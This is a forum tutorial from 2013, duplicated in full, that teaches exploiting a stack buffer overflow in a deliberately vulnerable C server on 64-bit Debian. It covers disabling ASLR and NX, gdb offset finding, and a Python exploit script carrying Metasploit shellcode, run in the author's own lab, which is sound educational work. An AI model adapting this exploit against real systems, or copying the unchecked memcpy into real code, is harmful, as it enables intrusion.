08-17-2013, 05:20 PM
by : Antonius
www.cr0security.com | www.indonesianbacktrack.or.id | www.security-hooligan.com
As second basic exploitation example we'll be exploiting a Debian 6.0.5 running on amd 64 bit machine remotely. As attacker machine we will use a backtrack machine here. Since this is just basic example we will need to turn off aslr to test our exploit :
root@localhost:~# cat /etc/debian_version
6.0.5
root@localhost:~# uname -a
Linux localhost.localdomain 2.6.32-amd64 #3 SMP Sun August 5 05:12:22 UTC 2012 x86_64 GNU/Linux
And since this is just basic we need to turn off aslr :
root@localhost:~# echo 0 > /proc/sys/kernel/randomize_va_space
As our basic example here we have a vulnerable server which mistakenly use memcpy, the memcpy supposed to filter length of user supplied input but in this case it's mistakenly used to let any length of user supplied input without validation : "memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);" meanwhile localbuffer is 40 bytes of buffer hence when user supplied input more than 40 bytes a buffer overflow will occur.
server.c :
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/syslog.h>
#include <sys/wait.h>
#include <time.h>
#define port 47474
int log_msg(char *sockbuff)
{
char localbuffer[300];
memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);
syslog(LOG_INFO, "%s\n", localbuffer);
return 0;
exit(0);
}
void stop_crash()
{
pid_t pid;
int status;
while ((pid = waitpid(-1, &status, WNOHANG)) > 0)
return;
}
int main(int argc, char **argv)
{
int sin_size, sock, sock_client, rcv , true = 1;
char sockbuff[2000];
struct sockaddr_in server_addr,client_addr;
pid_t pid;
setuid(0);
setgid(0);
fflush(stdout);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
if (setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&true,sizeof(int)) == -1)
return -1;
server_addr.sin_family = PF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero),8);
if (bind(sock, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1)
return -1;
if (listen(sock, 5) == -1)
return -1;
signal (SIGCHLD, stop_crash);
while(1) {
sin_size = sizeof(struct sockaddr_in);
sock_client = accept(sock, (struct sockaddr *)&client_addr,(socklen_t * __restrict__)&sin_size);
if (sock_client) {
pid = fork();
if (pid == 0) {
rcv = recv(sock_client,sockbuff, 2000,0);
sockbuff[rcv] = '\0';
log_msg(sockbuff);
}
usleep(50000);
}
}
close(sock);
return 0;
}
By Default on 64 bit debian 6.0.5 stack memory area has nx bit to prevent our shellcode execution on stack, so it's very crucial while learning for basic exploitation here to disable nx when compile our vulnerable binary, we compile using -z execstack
root@localhost:~# gcc -o server server.c -g -fno-stack-protector -z execstack
Find out Return Address on x86_64 Machine
Before we continue with our exploitation, let's find out our return address in this x64 environment. First run the server then attach it to gdb :
(gdb) attach 9594
Attaching to process 9594
Reading symbols from /root/bof/server...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007ffff7b4d710 in accept () from /lib/libc.so.6
(gdb) set follow-fork-mode child
(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.
We place breakpoint at 0x400ae6. Next test with simple input :
echo `perl -e 'print "A";'` | telnet 198.147.23.101 47474
On our experiment machine we see on gdb it stop at 0x400ae6 :
If we dump the rsp it will be address of next instruction :
(gdb) x/x $rsp
0x7fffffffe3a8: 0x0000000000400cb3
The instruction that we're going to execute is retq :
(gdb) x/i $rip
0x400ae6 : retq
Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So it means right after log_msg executed instruction will be on 0x0000000000400cb3, let's find out :
(gdb) disas main
Dump of assembler code for function main:
=====snipped===
0x0000000000400cae : callq 0x400a84
0x0000000000400cb3 : mov $0xc350,%edi
===snipped=====
So we figure out on normal condition, our next execution will be pointed to address : 0x0000000000400cb3, And our task here is to overwrite return adress of log_msg in order to point to our shellcode on the stack (basic example method when nx is disabled).
Overwriting Return Address
Let's have an examination with gdb.
We use set follow-fork-mode child to examine the child process when it crash.
In order to find out this function's return address later, we will place a break point right before retq instruction, place a break point at 0x0000000000400ae5 and continue:
(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae5
Breakpoint 1 at 0x400ae5: file server.c, line 24.
(gdb) cont
Continuing.
Next, for testing we will craft a basic tcp packet here, where we craft the packet length about 350 bytes using pattern_create.rb for testing :
On our experiment machine's gdb we see program stop at our break point
(gdb) cont
Continuing.
[New process 9539]
[Switching to process 9539]
Breakpoint 1, log_msg (
sockbuff=0x7fffffffe3e0 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"...) at server.c:24
24 }
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400ae6 in log_msg (sockbuff=Cannot access memory at address 0x336b41326b413033
) at server.c:24
24 }
Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So let's find out what is our return address :
(gdb) x/gx $rsp
0x7fffffffe3a8: 0x6b41356b41346b41
We can see that this 0x6b41356b41346b41 will be our function's return address, this is not a valid memory address that is mapped on this elf run time memory. Let's take about 4 last bytes 41346b41. If we translate byte by byte into ascii it becomes : A4kA, and since this machine use little endian we will need to invert it. So we need to find "Ak4A" using pattern_offset.rb.
So we need about 312 bytes preceed to overwrite our return address. Let's make it. Reattach server to gdb, and craft a tcp packet with 312 bytes + 3 bytes special sign to check successfull overwrite later :
echo `perl -e 'print "A" x 312 . "\x42\x43\x44";'` | telnet 198.147.23.101 47474
Back to our experiment server we can see that we've successfully overwrite log_msg return address, as you can see here :
Next we step to check :
(gdb) x/gx $rsp
0x7fffffffe3a8: 0x0000000a0d444342
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000000a0d444342 in ?? ()
(gdb)
If we step a segmentation fault occur since 0x0000000a0d444342 is not a valid memory address.
So we've successfully overwrite log_msg return address. Next we will do exploitation.
Crafting an Exploit
Before crafting exploit, rerun our server on gdb to check what happens later:
(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.
As usual for basic exploitation we will need to overwrite return address with address that points to our shellcode. At first let's generate a shellcode.
Since this article is not about shellcoding, we will generate our shellcode for exploit using metasploit :
Next craft a basic exploit skeleton:
#/usr/bin/python
import socket
# linux/x64/exec - 95 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false, CMD=touch
# /tmp/cr0
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\x2d\xb4\x5a\xcc\xcb\xcf\xc7\x29\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x47\x8f\x02" +
"\x55\x83\x74\xe8\x4b\x44\xda\x75\xbf\xa3\xcf\x94\x61\xa4" +
"\x53\x32\xe1\xa8\xcf\xc7\x61\xa4\x52\x08\x24\xc4\xcf\xc7" +
"\x29\x59\xdb\x2f\xaf\xa3\xef\xe8\x5d\x40\xc4\x75\xaf\xb9" +
"\xff\xc7\x7f\x7a\xfc\xd3\x2a\xc4\xca\xc7\x29")
before = "\x90" * 200
after = "\x90" * 17
test_ret = "\x42\x43\x44\x45"
host = "198.147.23.101"
payload = before + shellcode + after + test_ret
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "payload len:"
print len(payload)
s.connect((host, 47474))
s.send(payload)
We use payload to touch /tmp/cr0. So if the exploitation success /tmp/cr0 will be created. Run the exploit then once the execution stop at 0x400ae6 we examine our buffer, to find out where the shellcode is
In this example we can use 0x7fffffffe478 as our return address, since we will land at our nop sled then later the execution will continue to our shellcode that we place on the stack.
We modify our basic exploit with out return address :
#0x7fffffffe478
test_ret = "\x78\xe4\xff\xff\xff\x7f"
Then as the execution continue we can see we've successfully execute our shellcode so /tmp/cr0 created :
www.cr0security.com | www.indonesianbacktrack.or.id | www.security-hooligan.com
As second basic exploitation example we'll be exploiting a Debian 6.0.5 running on amd 64 bit machine remotely. As attacker machine we will use a backtrack machine here. Since this is just basic example we will need to turn off aslr to test our exploit :
root@localhost:~# cat /etc/debian_version
6.0.5
root@localhost:~# uname -a
Linux localhost.localdomain 2.6.32-amd64 #3 SMP Sun August 5 05:12:22 UTC 2012 x86_64 GNU/Linux
And since this is just basic we need to turn off aslr :
root@localhost:~# echo 0 > /proc/sys/kernel/randomize_va_space
As our basic example here we have a vulnerable server which mistakenly use memcpy, the memcpy supposed to filter length of user supplied input but in this case it's mistakenly used to let any length of user supplied input without validation : "memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);" meanwhile localbuffer is 40 bytes of buffer hence when user supplied input more than 40 bytes a buffer overflow will occur.
server.c :
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/syslog.h>
#include <sys/wait.h>
#include <time.h>
#define port 47474
int log_msg(char *sockbuff)
{
char localbuffer[300];
memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);
syslog(LOG_INFO, "%s\n", localbuffer);
return 0;
exit(0);
}
void stop_crash()
{
pid_t pid;
int status;
while ((pid = waitpid(-1, &status, WNOHANG)) > 0)
return;
}
int main(int argc, char **argv)
{
int sin_size, sock, sock_client, rcv , true = 1;
char sockbuff[2000];
struct sockaddr_in server_addr,client_addr;
pid_t pid;
setuid(0);
setgid(0);
fflush(stdout);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
if (setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&true,sizeof(int)) == -1)
return -1;
server_addr.sin_family = PF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero),8);
if (bind(sock, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1)
return -1;
if (listen(sock, 5) == -1)
return -1;
signal (SIGCHLD, stop_crash);
while(1) {
sin_size = sizeof(struct sockaddr_in);
sock_client = accept(sock, (struct sockaddr *)&client_addr,(socklen_t * __restrict__)&sin_size);
if (sock_client) {
pid = fork();
if (pid == 0) {
rcv = recv(sock_client,sockbuff, 2000,0);
sockbuff[rcv] = '\0';
log_msg(sockbuff);
}
usleep(50000);
}
}
close(sock);
return 0;
}
By Default on 64 bit debian 6.0.5 stack memory area has nx bit to prevent our shellcode execution on stack, so it's very crucial while learning for basic exploitation here to disable nx when compile our vulnerable binary, we compile using -z execstack
root@localhost:~# gcc -o server server.c -g -fno-stack-protector -z execstack
Find out Return Address on x86_64 Machine
Before we continue with our exploitation, let's find out our return address in this x64 environment. First run the server then attach it to gdb :
(gdb) attach 9594
Attaching to process 9594
Reading symbols from /root/bof/server...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007ffff7b4d710 in accept () from /lib/libc.so.6
(gdb) set follow-fork-mode child
(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.
We place breakpoint at 0x400ae6. Next test with simple input :
echo `perl -e 'print "A";'` | telnet 198.147.23.101 47474
On our experiment machine we see on gdb it stop at 0x400ae6 :
If we dump the rsp it will be address of next instruction :
(gdb) x/x $rsp
0x7fffffffe3a8: 0x0000000000400cb3
The instruction that we're going to execute is retq :
(gdb) x/i $rip
0x400ae6 : retq
Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So it means right after log_msg executed instruction will be on 0x0000000000400cb3, let's find out :
(gdb) disas main
Dump of assembler code for function main:
=====snipped===
0x0000000000400cae : callq 0x400a84
0x0000000000400cb3 : mov $0xc350,%edi
===snipped=====
So we figure out on normal condition, our next execution will be pointed to address : 0x0000000000400cb3, And our task here is to overwrite return adress of log_msg in order to point to our shellcode on the stack (basic example method when nx is disabled).
Overwriting Return Address
Let's have an examination with gdb.
We use set follow-fork-mode child to examine the child process when it crash.
In order to find out this function's return address later, we will place a break point right before retq instruction, place a break point at 0x0000000000400ae5 and continue:
(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae5
Breakpoint 1 at 0x400ae5: file server.c, line 24.
(gdb) cont
Continuing.
Next, for testing we will craft a basic tcp packet here, where we craft the packet length about 350 bytes using pattern_create.rb for testing :
On our experiment machine's gdb we see program stop at our break point
(gdb) cont
Continuing.
[New process 9539]
[Switching to process 9539]
Breakpoint 1, log_msg (
sockbuff=0x7fffffffe3e0 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"...) at server.c:24
24 }
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400ae6 in log_msg (sockbuff=Cannot access memory at address 0x336b41326b413033
) at server.c:24
24 }
Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So let's find out what is our return address :
(gdb) x/gx $rsp
0x7fffffffe3a8: 0x6b41356b41346b41
We can see that this 0x6b41356b41346b41 will be our function's return address, this is not a valid memory address that is mapped on this elf run time memory. Let's take about 4 last bytes 41346b41. If we translate byte by byte into ascii it becomes : A4kA, and since this machine use little endian we will need to invert it. So we need to find "Ak4A" using pattern_offset.rb.
So we need about 312 bytes preceed to overwrite our return address. Let's make it. Reattach server to gdb, and craft a tcp packet with 312 bytes + 3 bytes special sign to check successfull overwrite later :
echo `perl -e 'print "A" x 312 . "\x42\x43\x44";'` | telnet 198.147.23.101 47474
Back to our experiment server we can see that we've successfully overwrite log_msg return address, as you can see here :
Next we step to check :
(gdb) x/gx $rsp
0x7fffffffe3a8: 0x0000000a0d444342
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000000a0d444342 in ?? ()
(gdb)
If we step a segmentation fault occur since 0x0000000a0d444342 is not a valid memory address.
So we've successfully overwrite log_msg return address. Next we will do exploitation.
Crafting an Exploit
Before crafting exploit, rerun our server on gdb to check what happens later:
(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.
As usual for basic exploitation we will need to overwrite return address with address that points to our shellcode. At first let's generate a shellcode.
Since this article is not about shellcoding, we will generate our shellcode for exploit using metasploit :
Next craft a basic exploit skeleton:
#/usr/bin/python
import socket
# linux/x64/exec - 95 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false, CMD=touch
# /tmp/cr0
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\x2d\xb4\x5a\xcc\xcb\xcf\xc7\x29\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x47\x8f\x02" +
"\x55\x83\x74\xe8\x4b\x44\xda\x75\xbf\xa3\xcf\x94\x61\xa4" +
"\x53\x32\xe1\xa8\xcf\xc7\x61\xa4\x52\x08\x24\xc4\xcf\xc7" +
"\x29\x59\xdb\x2f\xaf\xa3\xef\xe8\x5d\x40\xc4\x75\xaf\xb9" +
"\xff\xc7\x7f\x7a\xfc\xd3\x2a\xc4\xca\xc7\x29")
before = "\x90" * 200
after = "\x90" * 17
test_ret = "\x42\x43\x44\x45"
host = "198.147.23.101"
payload = before + shellcode + after + test_ret
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "payload len:"
print len(payload)
s.connect((host, 47474))
s.send(payload)
We use payload to touch /tmp/cr0. So if the exploitation success /tmp/cr0 will be created. Run the exploit then once the execution stop at 0x400ae6 we examine our buffer, to find out where the shellcode is
In this example we can use 0x7fffffffe478 as our return address, since we will land at our nop sled then later the execution will continue to our shellcode that we place on the stack.
We modify our basic exploit with out return address :
#0x7fffffffe478
test_ret = "\x78\xe4\xff\xff\xff\x7f"
Then as the execution continue we can see we've successfully execute our shellcode so /tmp/cr0 created :
Ringlayer Roboticist
www.ringlayer.net
www.ringlayer.com
http://www.robotshop.com/letsmakerobots/blogs/sw0rdm4n
www.ringlayer.net
www.ringlayer.com
http://www.robotshop.com/letsmakerobots/blogs/sw0rdm4n